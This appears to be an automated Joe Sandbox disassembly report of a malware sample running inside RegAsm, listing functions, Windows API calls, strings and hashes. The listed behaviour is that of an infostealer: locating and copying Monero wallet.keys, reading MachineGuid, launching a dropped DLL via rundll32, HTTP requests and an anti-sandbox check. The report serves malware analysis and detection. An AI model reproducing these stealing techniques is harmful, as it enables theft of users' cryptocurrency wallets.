Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 10d604243291b2d129534730f69d78516097bcc108e7a10a762a72f92156b923
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 10d604243291b2d129534730f69d78516097bcc108e7a10a762a72f92156b923
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001,0043AA48,004369EA,\Monero\wallet.keys,004369E7), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCreateHeaplstrlen$CloseCopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 2771091047-3586502688
Opcode ID: 1832ed20e601200fa5063ad7618282aa755cf9e73ff62fe5ddcc426354561412
Instruction ID: 088a9e38a3872e3d59dfe4f786e5ab428d4476d4e58593b9f87c2f805fbd2200
Opcode Fuzzy Hash: 1832ed20e601200fa5063ad7618282aa755cf9e73ff62fe5ddcc426354561412
Instruction Fuzzy Hash: 8C512DB1E9012D9BCF21EB25DD466DD7379AF04308F5050BAB60873191DA78AFC98F98

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 75fab543a449f2685085885795b59cbea3fa668453bc9f9c35b9832efa3d8375
Instruction ID: 0ff93e3964314176e77d227a408a26f2d5f5c114657683c54b3501ab57c319cc
Opcode Fuzzy Hash: 75fab543a449f2685085885795b59cbea3fa668453bc9f9c35b9832efa3d8375
Instruction Fuzzy Hash: 7B5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 00415DF7 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeapwsprintf$AllocAttributesFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1968765330-0
Opcode ID: 8a95208f727adeab3463ee9a9c95def6d372cd693ea90166d9eb0d2fe35566f9
Instruction ID: d4027fbd7381f6bfbcf24146e6074306668531ed6589037fa2cb1aad682cc9ea
Opcode Fuzzy Hash: 8a95208f727adeab3463ee9a9c95def6d372cd693ea90166d9eb0d2fe35566f9
Instruction Fuzzy Hash: B4511BB1A0011C9BCF54DB64CC85ADDB7B9BB4C305F4044EAF609E3250EA75AB898F58

Function 0041566F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

h{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValue_memset
String ID: h{A
API String ID: 3357907479-1955959473
Opcode ID: 2092683283f8f05b025d3b948e45c9dd5b69c24ce4ee78f1b0c6bbfeb2168e11
Instruction ID: 11ea90a2464f6125f524f968da0a53cddfc2673ac5f331e98a6178277102b4a3
Opcode Fuzzy Hash: 2092683283f8f05b025d3b948e45c9dd5b69c24ce4ee78f1b0c6bbfeb2168e11
Instruction Fuzzy Hash: 4341C07194011D9FDF24EF60EC86EE8777ABB18309F4004AAB109A31A0EE759FC58F94

Function 004115D4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
CharToOemA.USER32(?,?), ref: 0041166B

Strings

MachineGuid, xrefs: 00411640
SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2355623204-1211650757
Opcode ID: 1dbf5f0b0fb7fdee8ff26eaefef28e2aff589689479ce921f87ce0c0501343ba
Instruction ID: bf363316d9f6571f49514449d26765cf658df32c5c9fcb3b3632bb5b835e2134
Opcode Fuzzy Hash: 1dbf5f0b0fb7fdee8ff26eaefef28e2aff589689479ce921f87ce0c0501343ba
Instruction Fuzzy Hash: 26111EB590021DAFDB10DF90DC89FEAB7BDEB04309F4041E6A659E2052D6759F888F14

Function 00401A51 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3676486918-4244082812
Opcode ID: a5e24b5ddb51d912181c50f90018660561fe2ac3b2e44d97ef68947e51336ceb
Instruction ID: 53acc371e07144810ae120d98390ef4438e1254b635cfb1d3d0c05d34c9dce0f
Opcode Fuzzy Hash: a5e24b5ddb51d912181c50f90018660561fe2ac3b2e44d97ef68947e51336ceb
Instruction Fuzzy Hash: 45F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E6B66A509624

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: ce1fbcf0cb519481890ae54680449d2f23596a8cb5c2b42a24ed52c41b156def
Instruction ID: af18a880466fc4aa13f3874e26697bbc89a3619d57557fd4e8cfd36f99de9a7f
Opcode Fuzzy Hash: ce1fbcf0cb519481890ae54680449d2f23596a8cb5c2b42a24ed52c41b156def
Instruction Fuzzy Hash: D0114C70A0020ADFCB019FA4DC989EEBBB5AF49314F64417EF215E72A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00418616), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: bae1ea6a02baa2dc14e1a9a74dae1c9cc88f6503dfd397aa259a8d0d5464b355
Instruction ID: a3c9baa8e3236edb9a3c173d747cc6cf9767caf9e9e42cd5afe8a70771407b79
Opcode Fuzzy Hash: bae1ea6a02baa2dc14e1a9a74dae1c9cc88f6503dfd397aa259a8d0d5464b355
Instruction Fuzzy Hash: B6F0C87238121477F22412753C6EF6B1A6C9B41F56F205035F309FB2D0D6699804967C

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

C:\ProgramData\, xrefs: 00412995
.dll, xrefs: 004129ED
C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
"" , xrefs: 00412A32

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 67a26213ff635bbfa6aa4725f911ced8336802ec5b019181fb361b41e7d296e5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 67a26213ff635bbfa6aa4725f911ced8336802ec5b019181fb361b41e7d296e5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00405300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$Request$InfoOpenOptionQuerySend
String ID: GET
API String ID: 2117767405-1805413626
Opcode ID: ec1818f1b5dc176a3a2c65fde9678bc70553988a3b5854161e8900bd42de50db
Instruction ID: c06c10db19ccbb09b917be6791d6e87d3350913208207c9bda25649f91100a2c
Opcode Fuzzy Hash: ec1818f1b5dc176a3a2c65fde9678bc70553988a3b5854161e8900bd42de50db
Instruction Fuzzy Hash: 10117CB2A00618AFDB219F50DC85BEBB7B8EB0834AF0010AAF505E61D1D7B54F848F64

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
